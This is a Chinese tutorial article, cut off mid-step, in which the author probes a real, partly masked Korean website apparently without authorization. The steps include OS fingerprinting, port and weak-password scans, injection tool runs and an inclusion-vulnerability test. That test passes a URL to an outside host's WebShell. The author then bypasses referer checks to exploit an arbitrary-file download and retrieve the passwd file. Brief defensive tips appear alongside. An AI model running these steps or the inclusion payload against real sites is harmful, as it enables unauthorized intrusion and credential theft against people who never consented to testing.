来源:自学PHP网 时间:2015-04-17 14:46 作者: 阅读:次
[导读] 某日,一个做网页设计的朋友发给我一个站(www.ba******.net),问我感觉如何?该网站设计漂不漂亮?明明知道我在艺术方面不太擅长,尤其是美感设计,还发过来,不过既然发过来了,...
某日,一个做网页设计的朋友发给我一个站(www.ba******.net),问我感觉如何?该网站设计漂不漂亮?明明知道我在艺术方面不太擅长,尤其是美感设计,还发过来,不过既然发过来了,也要上去看看,打开网站后,感觉还是蛮简洁的,如图1所示,就看看它的安全性如何。
图1韩国某网站CMS界面 一、服务器信息收集 1.获取IP信息 直接打开DOS提示符操作窗口,使用ping命令,对网站www.b*******.net进行ping操作,如图2所示,获取IP地址为“221.***.**.21”,且无丢包现象,延迟时间也较少,呵呵,感觉韩国的计算机就是爽,速度快,硬件配置也高。
图2获取网站IP地址 安全小知识 (1)TTL术语 TTL是Time to Live对缩写,它是IP协议包中的一个值,它告诉网络路由器包在网络中的时间是否太长而应被丢弃。有很多原因使包在一定时间内不能被传递到目的地。例 如,不正确的路由表可能会导致包的无限循环。一个解决方法就是在一段时间后丢弃这个包,然后给发送者一个报文,由发送者决定是否要重发。TTL的初值通常 是系统缺省值,是包头中的8位的域。TTL的最初设想是确定一个时间范围,超过此时间就把包丢弃。由于每个路由器都至少要把TTL值减一,TTL通常表示 包在被丢弃前最多能经过的路由器个数。当记数到0时,路由器决定丢弃该包,并发送一个ICMP报文给最初的发送者。 TTL是指定数据报被路由器丢弃之前允许通过的网段数量。通常是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。 使用PING时涉及到的 ICMP 报文类型 一个为ICMP请求回显(ICMP Echo Request) 一个为ICMP回显应答(ICMP Echo Reply) (2)TTL值 TTL 字段值可以帮助我们识别操作系统类型,下面是一些常见系统的TTL值: (1)UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255; (2)Compaq Tru64 5.0 ICMP 回显应答的TTL字段值为64; (3)微软 Windows NT4 WRKS、Windows NT4 Server、Windows 2000、Windows XP操作系统 ICMP 回显应答的 TTL字段值为128; (4)微软 Windows 95、Windows98、Windows98SE、Windows ME操作系统ICMP 回显应答的TTL字段值为 32; (5)一些特殊情况下,其TTL值会有一些不同: LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64 FreeBSD 4.1, 4.0, 3.4;Sun Solaris 2.5.1, 2.6, 2.7, 2.8;OpenBSD 2.6, 2.7;NetBSD;HP UX 10.20等等ICMP 回显应答的TTL字段值为255; 从返回的TTL值中,可以初步判定目标主机是linux系统。 防护技巧
在一般意义上可以通过“ping 主机地址”或者“ping 网站域名地址”来获取TTL值,通过TTL值来判断网站所在主机的操作系统类型。一些防护严格的系统会自定义TTL值,从而让入侵者无法通过TTL值来获取操作系统的类型。TTL值的注册表位置
图3 自定义TTL值 注意:
修改TTL值后需要重启计算机才能生效,不同计算机操作系统可能修改的TTL值地方不一样,一般情况下是去注册表 2.获取服务器架构信息 通常通过在浏览器中输入“http://221.139.***.21/antian365/”地址,其中“antian365”为不存在的目录, 从返回出错的信息中来判断服务器架构信息,如图4所示,可以看出来系统使用的是apache1.3.36,因为小站根本是使用免费的Mysql数据库,所 以可以确认是典型的LAMP架构。
图4获取服务器架构信息 说明: (1) http://221.139.***.21/antian365/ 如果是在IE浏览器输入,一定要把显示友好HTTP错误信息去掉,具体操作:选择IE浏览器--工具--Internet选项;在高级选项框中将“显示友好HTTP错误信息”的勾选去掉,这样才能显示详细的错误信息。
LAMP架构网络小知识 LAMP是一种Web网络应用和开发环境,基本上是四种开源软件技术的组合,它们组合在一起产生了一个功能强大的应用服务平台,使用却相对来说比较简单和容易。 LAMP是基于Linux,Apache,MySQL和PHP的开放资源网络开发平台,这个术语来自欧洲,LAMP名字取自每个程序的第一个字母, 也有人认为LAMP是一种Web网络应用和开发环境,是Linux, Apache,MySQL, Php/Perl的缩写,每一个字母代表了一个组件。其实LAMP这个词的由来最早始于德国杂志“c't Magazine”,Michael Kunze在1990年最先把这些项目组合在一起创造了LAMP的缩写字。 这些组件并不是开始就设计为一起使用的,由于开源和免费,随着越来越多的人使用它,其兼容性不断改善和完善,因此逐渐成为Web应用程序开发的一种 架构。在这个架构中每个程序在所有权里都符合开放源代码标准:Linux是开放系统;Apache是最通用的网络服务器;MySQL是带有基于网络管理附 加工具的关系数据库;PHP是流行的对象脚本语言,它包含了多数其它语言的优秀特征来使得它的网络开发更加有效。 有时候,开发者在Windows操作系统下使用这些Linux环境里的工具称为使用WAMP,也称为WAMP架构。 随着开源潮流的蓬勃发展,开放源代码的LAMP已经与J2EE和.Net商业软件形成三足鼎立之势,并且该软件开发的项目在软件方面的投资成本较低,因此 受到整个IT界的关注。有关LAMP的更多知识,可以查看“LAMP架构帖子”http://www.antian365.com/bbs /viewthread.php?tid=2639&extra=page%3D1&frombbs=1 3.探测端口信息 用sfind扫一下服务器,发现只开启21,80端口,如图5所示,其中3306Mysql数据库端口也可以进行探测。
图5端口信息 之后使用HScan软件扫描Mysql数据库和FTP弱口令,没有结果。看来还是得从web程序入手
二、Web应用程序安全检测 1.注入测试 用阿D,NBSI等注入工具寻找注入点,没有发现。同时用手工查找,也没有找到,simeon说我的注入比较弱,看来一点不假,呵呵。 2.寻找上传点 http://www.b**.net/ez/bbs.php?table=qna&query=write发现可以发贴子,但并没有文件上传的地方。 3.旁注检测 打开http://www.myipneighbors.com/,同一服务器下一共有114个站点,都是使用相同的CMS,用明小子的DOMAIN批量检测一下注入点和上传漏洞,和预计的结果一样,也没有发现。 说明: http://www.myipneighbors.com/ 是一个通过IP地址或者域名来获取该IP地址或者域名所在服务器中所存在的其它网站地址。它比明小子的DOMAIN能查询到更准确的数据。 4.包含漏洞检测 没办法,还是再仔细看看www.b****k.net,当浏览到http://www.b****k.net/ez/inc.php?inc=company/sub1_1,这个是不是存在包含漏洞呢?于是测试http://www.b****k.net/ez/inc.php?inc=http://116.23.82.87:81/WebShell,出现错误,如图6所示。
图6不能远程包含漏洞 虽然没有找到远程包含漏洞,但这里可以暴出网站的绝对路径:/home/ba****.net/public_html/ez/。 说明: (1)包含漏洞的原因是程序员在使用涉及到的危险函数include、require、include_once和require_once时,未对传入的变时做出过滤。 (2)关于暴出网站绝对路径的修补。因include或require因为找不到包含的文件,所以会显示出错,要屏蔽掉错误显示也很简单,只要在include或require加个“@”就可以了。 6.下载任意文件漏洞检测 手工检测下载任意文件漏洞。目前对于下载任意文件漏洞的检测一般是通过手工进行检测。在浏览到http://www.b****k.net/ez/bbs.php?table=sub1&query=view&uid=133&p=1 网页时,发现可以单击下载图片,如图7所示。
图7下载图片 可以通过修改URL地址来下载网站的其它文件,通过观察,URL地址http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg中,file参数直接使用文件名,也许可以下载其它文件,于是在URL地址栏中输入:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=
图8不能下载 不懂是什么意思。难道用uid参数限制了?还是其它什么的原因。于是重新输入: http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg,发现还是一片空白,明明点击可以下载,为什么从地址栏直接输入就不可以下载?哦。这不就是和很多下载站所用的伎俩——防盗链。 说明: 关于防盗链。也就是下载时检查referrer参数是不是来自本站的页面,如果不是,就不可以下载。 7.突破防盗链 突破防盗链方法有很多,可以用asp、PHP、vbs或使用改包NC提交都可以。这里介绍的是一种比较简便的方法,使用Firefox自定义referer插件来突破。首先我们应该先抓包,看看下载时的referrer参数值是什么。 (1)使用LiveHTTPHeaders插件获取referrer参数值 先安装一个firfox抓包插件LiveHTTPHeaders(http://livehttpheaders.mozdev.org/installation.html),打开该地址,然后单击网页链接“Install version 0.14 of LiveHTTPHeaders now”,Firefox会提示进行该软件的安装,如图9所示,单击立即安装即可。
图9 安装LiveHTTPHeaders组件 注意
由于组件由于对Firefox有版本要求,因此会出现一些组件无法安装的现象,如果出现安装提示警告信息时,一般都可以进行安装。
图10 获取referrer参数值
接着到http://www.blogjava.net/baicker/archive/2008/04/08/191485.html安装Firefox自定义referer插件RefControl,同样安装好之后,重启Firefox,运行RefControl,单击“添加站点”按钮,在站点中输入http://www.b****k.net,动作选择自定义,同时输入抓包所获取的referrer值http://www.b****k.net/ez/bbs.php?table=sub1&query=view&uid=133&p=1,如图11所示,然后单击“确定”按钮,使设置生效,到此构造referrer值完毕。
图11使用RefControl构造referrer参数值 技巧 可以直接Firefox的附加组件来搜索和添加组件。方法是在Firefox中单击 “工具”-“附加组件”,在弹出的附加组件中单击“获取附加组件”,在搜索输入框中输入需要添加到组件名称,然后单击搜索按钮即可查找已经存在 Firefox附加组件,如果找到,单击“查看全部结果”,按照提示安装即可。 (3)下载passwd文件 在Firefox地址栏输入: http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg,发现可以下载20080706012226_4-1.jpg文件了,再试试 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com